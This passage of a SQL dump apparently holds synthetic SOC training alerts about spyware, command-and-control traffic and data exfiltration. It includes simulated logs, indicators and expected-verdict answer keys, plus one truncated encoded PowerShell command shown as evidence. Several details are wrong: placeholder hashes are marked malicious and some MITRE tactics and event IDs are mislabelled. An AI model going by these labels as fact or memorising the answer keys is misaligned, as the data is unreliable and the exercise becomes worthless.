1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-09T14:23:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"internal_ip\\\":\\\"10.0.15.21\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jane.doe\\\",\\\"filename\\\":\\\"confidential_project_plan.docx\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_domain\\\":\\\"malicious-download.com\\\",\\\"bytes_transferred\\\":5242880,\\\"alert_trigger\\\":\\\"Data exfiltration threshold exceeded\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.367Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-09T14:23:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"internal_ip\\\":\\\"10.0.15.21\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jane.doe\\\",\\\"filename\\\":\\\"confidential_project_plan.docx\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_domain\\\":\\\"malicious-download.com\\\",\\\"bytes_transferred\\\":5242880,\\\"alert_trigger\\\":\\\"Data exfiltration threshold exceeded\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.367Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-09T14:23:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"internal_ip\\\":\\\"10.0.15.21\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jane.doe\\\",\\\"filename\\\":\\\"confidential_project_plan.docx\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_domain\\\":\\\"malicious-download.com\\\",\\\"bytes_transferred\\\":5242880,\\\"alert_trigger\\\":\\\"Data exfiltration threshold exceeded\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.367Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-09T14:23:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"internal_ip\\\":\\\"10.0.15.21\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jane.doe\\\",\\\"filename\\\":\\\"confidential_project_plan.docx\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_domain\\\":\\\"malicious-download.com\\\",\\\"bytes_transferred\\\":5242880,\\\"alert_trigger\\\":\\\"Data exfiltration threshold exceeded\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1527, 'Evidence of Human Rights Violation Gathered', 'critical', 'Human Rights Watch Reports', 'The final analysis reveals broader implications of the spyware, emphasizing the erosion of privacy and its impact on human rights defenders. This operation has uncovered significant evidence of human rights violations facilitated through the use of spyware.', 'Impact', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-21T14:32:00Z\",\"event_id\":\"HRW-2023-1059\",\"user\":\"john.doe@organization.org\",\"internal_ip\":\"192.168.4.23\",\"external_ip\":\"203.0.113.45\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"spyware_report.docx\",\"action\":\"Data Exfiltration\",\"description\":\"The spyware was used to gather sensitive information on human rights activities, compromising the privacy of involved individuals.\",\"indicators\":[{\"type\":\"ip\",\"value\":\"203.0.113.45\",\"description\":\"External command and control server associated with attack\"},{\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"description\":\"Malware sample used in the operation\"},{\"type\":\"filename\",\"value\":\"spyware_report.docx\",\"description\":\"File containing exfiltrated data\"},{\"type\":\"username\",\"value\":\"john.doe@organization.org\",\"description\":\"Compromised user account\"}]}', '2026-03-15 19:10:20', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C&C server used in multiple APT campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known spyware sample\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"spyware_report.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"File contains exfiltrated sensitive information\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"john.doe@organization.org\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"User account compromised during the incident\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.371Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:00Z\\\",\\\"event_id\\\":\\\"HRW-2023-1059\\\",\\\"user\\\":\\\"john.doe@organization.org\\\",\\\"internal_ip\\\":\\\"192.168.4.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"spyware_report.docx\\\",\\\"action\\\":\\\"Data Exfiltration\\\",\\\"description\\\":\\\"The spyware was used to gather sensitive information on human rights activities, compromising the privacy of involved individuals.\\\",\\\"indicators\\\":[{\\\"type\\\":\\\"ip\\\",\\\"value\\\":\\\"203.0.113.45\\\",\\\"description\\\":\\\"External command and control server associated with attack\\\"},{\\\"type\\\":\\\"hash\\\",\\\"value\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"description\\\":\\\"Malware sample used in the operation\\\"},{\\\"type\\\":\\\"filename\\\",\\\"value\\\":\\\"spyware_report.docx\\\",\\\"description\\\":\\\"File containing exfiltrated data\\\"},{\\\"type\\\":\\\"username\\\",\\\"value\\\":\\\"john.doe@organization.org\\\",\\\"description\\\":\\\"Compromised user account\\\"}]}\"},{\"timestamp\":\"2026-03-15T20:57:15.371Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:00Z\\\",\\\"event_id\\\":\\\"HRW-2023-1059\\\",\\\"user\\\":\\\"john.doe@organization.org\\\",\\\"internal_ip\\\":\\\"192.168.4.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"spyware_report.docx\\\",\\\"action\\\":\\\"Data Exfiltration\\\",\\\"description\\\":\\\"The spyware was used to gather sensitive information on human rights activities, compromising the privacy of involved individuals.\\\",\\\"indicators\\\":[{\\\"type\\\":\\\"ip\\\",\\\"value\\\":\\\"203.0.113.45\\\",\\\"description\\\":\\\"External command and control server associated with attack\\\"},{\\\"type\\\":\\\"hash\\\",\\\"value\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"description\\\":\\\"Malware sample used in the operation\\\"},{\\\"type\\\":\\\"filename\\\",\\\"value\\\":\\\"spyware_report.docx\\\",\\\"description\\\":\\\"File containing exfiltrated data\\\"},{\\\"type\\\":\\\"username\\\",\\\"value\\\":\\\"john.doe@organization.org\\\",\\\"description\\\":\\\"Compromised user account\\\"}]}\"},{\"timestamp\":\"2026-03-15T20:56:15.371Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:00Z\\\",\\\"event_id\\\":\\\"HRW-2023-1059\\\",\\\"user\\\":\\\"john.doe@organization.org\\\",\\\"internal_ip\\\":\\\"192.168.4.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"spyware_report.docx\\\",\\\"action\\\":\\\"Data Exfiltration\\\",\\\"description\\\":\\\"The spyware was used to gather sensitive information on human rights activities, compromising the privacy of involved individuals.\\\",\\\"indicators\\\":[{\\\"type\\\":\\\"ip\\\",\\\"value\\\":\\\"203.0.113.45\\\",\\\"description\\\":\\\"External command and control server associated with attack\\\"},{\\\"type\\\":\\\"hash\\\",\\\"value\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"description\\\":\\\"Malware sample used in the operation\\\"},{\\\"type\\\":\\\"filename\\\",\\\"value\\\":\\\"spyware_report.docx\\\",\\\"description\\\":\\\"File containing exfiltrated data\\\"},{\\\"type\\\":\\\"username\\\",\\\"value\\\":\\\"john.doe@organization.org\\\",\\\"description\\\":\\\"Compromised user account\\\"}]}\"},{\"timestamp\":\"2026-03-15T20:55:15.371Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:00Z\\\",\\\"event_id\\\":\\\"HRW-2023-1059\\\",\\\"user\\\":\\\"john.doe@organization.org\\\",\\\"internal_ip\\\":\\\"192.168.4.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"spyware_report.docx\\\",\\\"action\\\":\\\"Data Exfiltration\\\",\\\"description\\\":\\\"The spyware was used to gather sensitive information on human rights activities, compromising the privacy of involved individuals.\\\",\\\"indicators\\\":[{\\\"type\\\":\\\"ip\\\",\\\"value\\\":\\\"203.0.113.45\\\",\\\"description\\\":\\\"External command and control server associated with attack\\\"},{\\\"type\\\":\\\"hash\\\",\\\"value\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"description\\\":\\\"Malware sample used in the operation\\\"},{\\\"type\\\":\\\"filename\\\",\\\"value\\\":\\\"spyware_report.docx\\\",\\\"description\\\":\\\"File containing exfiltrated data\\\"},{\\\"type\\\":\\\"username\\\",\\\"value\\\":\\\"john.doe@organization.org\\\",\\\"description\\\":\\\"Compromised user account\\\"}]}\"},{\"timestamp\":\"2026-03-15T20:54:15.371Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:00Z\\\",\\\"event_id\\\":\\\"HRW-2023-1059\\\",\\\"user\\\":\\\"john.doe@organization.org\\\",\\\"internal_ip\\\":\\\"192.168.4.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"spyware_report.docx\\\",\\\"action\\\":\\\"Data Exfiltration\\\",\\\"description\\\":\\\"The spyware was used to gather sensitive information on human rights activities, compromising the privacy of involved individuals.\\\",\\\"indicators\\\":[{\\\"type\\\":\\\"ip\\\",\\\"value\\\":\\\"203.0.113.45\\\",\\\"description\\\":\\\"External command and control server associated with attack\\\"},{\\\"type\\\":\\\"hash\\\",\\\"value\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"description\\\":\\\"Malware sample used in the operation\\\"},{\\\"type\\\":\\\"filename\\\",\\\"value\\\":\\\"spyware_report.docx\\\",\\\"description\\\":\\\"File containing exfiltrated data\\\"},{\\\"type\\\":\\\"username\\\",\\\"value\\\":\\\"john.doe@organization.org\\\",\\\"description\\\":\\\"Compromised user account\\\"}]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1528, 'Suspicious Browser Exploit Detected', 'high', 'Firewall and IDS/IPS logs', 'Unusual network traffic patterns were detected, indicating a potential browser exploit targeting Windows systems. The exploit appears to be leveraging known vulnerabilities to gain initial access.', 'Initial Access', 'T1190: Exploit Public-Facing Application', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"destination_port\":80,\"protocol\":\"HTTP\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\",\"request_url\":\"http://compromised-site.com/exploit.js\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"exploit.js\",\"detected_signature\":\"Candiru Browser Exploit\"}', '2026-03-15 19:10:36', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Candiru activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal company IP.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://compromised-site.com/exploit.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Source Intelligence\",\"verdict\":\"malicious\",\"details\":\"URL hosting exploit code.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known exploit scripts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1529, 'Malicious Payload Execution', 'high', 'Endpoint Protection Logs', 'Following the initial breach, the attackers deploy their spyware payload, which is designed to execute stealthily within the Windows environment, aiming to gather sensitive information from the target.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:00Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.5\",\"username\":\"jdoe\",\"payload_filename\":\"spyware_payload.exe\",\"payload_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"action\":\"Execution\",\"status\":\"Success\",\"details\":\"Detected execution of a known spyware payload on host 192.168.1.5 by user jdoe. The payload was executed from source IP 203.0.113.45.\"}', '2026-03-15 19:10:36', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malware distribution.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Corporate asset.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known spyware variant.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"spyware_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Protection Logs\",\"verdict\":\"malicious\",\"details\":\"Filename associated with spyware delivery.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1530, 'Establishing Command and Control', 'medium', 'Network Traffic Analysis', 'Anomalous encrypted traffic detected from an internal host to an external IP, indicating a potential command and control setup. The communication was observed using TLS over non-standard ports, which is a common tactic to evade detection.', 'Persistence', 'T1071.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:07Z\",\"src_ip\":\"10.0.2.15\",\"dest_ip\":\"203.0.113.25\",\"dest_port\":8443,\"protocol\":\"TLS\",\"encrypted\":true,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"malware_filename\":\"C2Agent.exe\",\"alert\":\"Suspicious encrypted traffic detected\"}', '2026-03-15 19:10:36', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel\",\"verdict\":\"malicious\",\"details\":\"Known C2 server IP associated with APT group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware hash identified as C2Agent variant.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C2Agent.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"suspicious\",\"details\":\"Unusual file found on host, correlates with C2 activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1531, 'Data Exfiltration Detected', 'high', 'Data Loss Prevention (DLP) Logs', 'Sensitive data exfiltration from compromised systems targeting activists and journalists. The attackers are using malicious IPs to extract communications and documents.', 'Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.55\",\"destination_port\":443,\"username\":\"jdoe\",\"filename\":\"Sensitive_Communications.zip\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"action_taken\":\"Blocked\",\"protocol\":\"HTTPS\",\"rule_triggered\":\"Exfiltration Rule 7\"}', '2026-03-15 19:10:36', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"Sensitive_Communications.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"File contains sensitive keywords.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with data exfiltration malware.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"Employee account used in exfiltration attempt.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.385Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.55\\\",\\\"destination_port\\\":443,\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"Sensitive_Communications.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action_taken\\\":\\\"Blocked\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"rule_triggered\\\":\\\"Exfiltration Rule 7\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.385Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.55\\\",\\\"destination_port\\\":443,\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"Sensitive_Communications.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action_taken\\\":\\\"Blocked\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"rule_triggered\\\":\\\"Exfiltration Rule 7\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.385Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.55\\\",\\\"destination_port\\\":443,\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"Sensitive_Communications.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action_taken\\\":\\\"Blocked\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"rule_triggered\\\":\\\"Exfiltration Rule 7\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.385Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.55\\\",\\\"destination_port\\\":443,\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"Sensitive_Communications.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action_taken\\\":\\\"Blocked\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"rule_triggered\\\":\\\"Exfiltration Rule 7\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.385Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.55\\\",\\\"destination_port\\\":443,\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"Sensitive_Communications.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action_taken\\\":\\\"Blocked\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"rule_triggered\\\":\\\"Exfiltration Rule 7\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1532, 'Initial Access via Zero-Click iCloud Calendar Exploit', 'high', 'Network Traffic Logs', 'An unauthorized access attempt was detected originating from a known malicious IP address. The attack leveraged a zero-click vulnerability in iCloud calendar invites, targeting iOS devices. The adversary, identified as Quadream, used this exploit to gain unauthorized access, potentially compromising sensitive information.', 'Phishing Attack', 'T1189: Drive-by Compromise', 1, 'Closed', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"network_traffic\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.2.15\",\"protocol\":\"HTTPS\",\"source_port\":443,\"destination_port\":52334,\"malicious_url\":\"https://malicious-calendar-invite.com/icalendar\",\"filename\":\"invitation.ics\",\"file_hash\":\"a9f5b3c7e812f3d6b7e695f6c29e1e4f\",\"username\":\"victim_user\",\"user_agent\":\"iOS/14.8.1 (iPhone; CPU iPhone OS 14_8_1 like Mac OS X)\"}', '2026-03-15 19:11:07', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Assets\",\"verdict\":\"internal\",\"details\":\"Internal iOS device.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://malicious-calendar-invite.com/icalendar\",\"is_critical\":true,\"osint_result\":{\"source\":\"Phishing URL Database\",\"verdict\":\"malicious\",\"details\":\"URL hosting phishing calendar invites.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"a9f5b3c7e812f3d6b7e695f6c29e1e4f\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Registry\",\"verdict\":\"malicious\",\"details\":\"Hash linked to 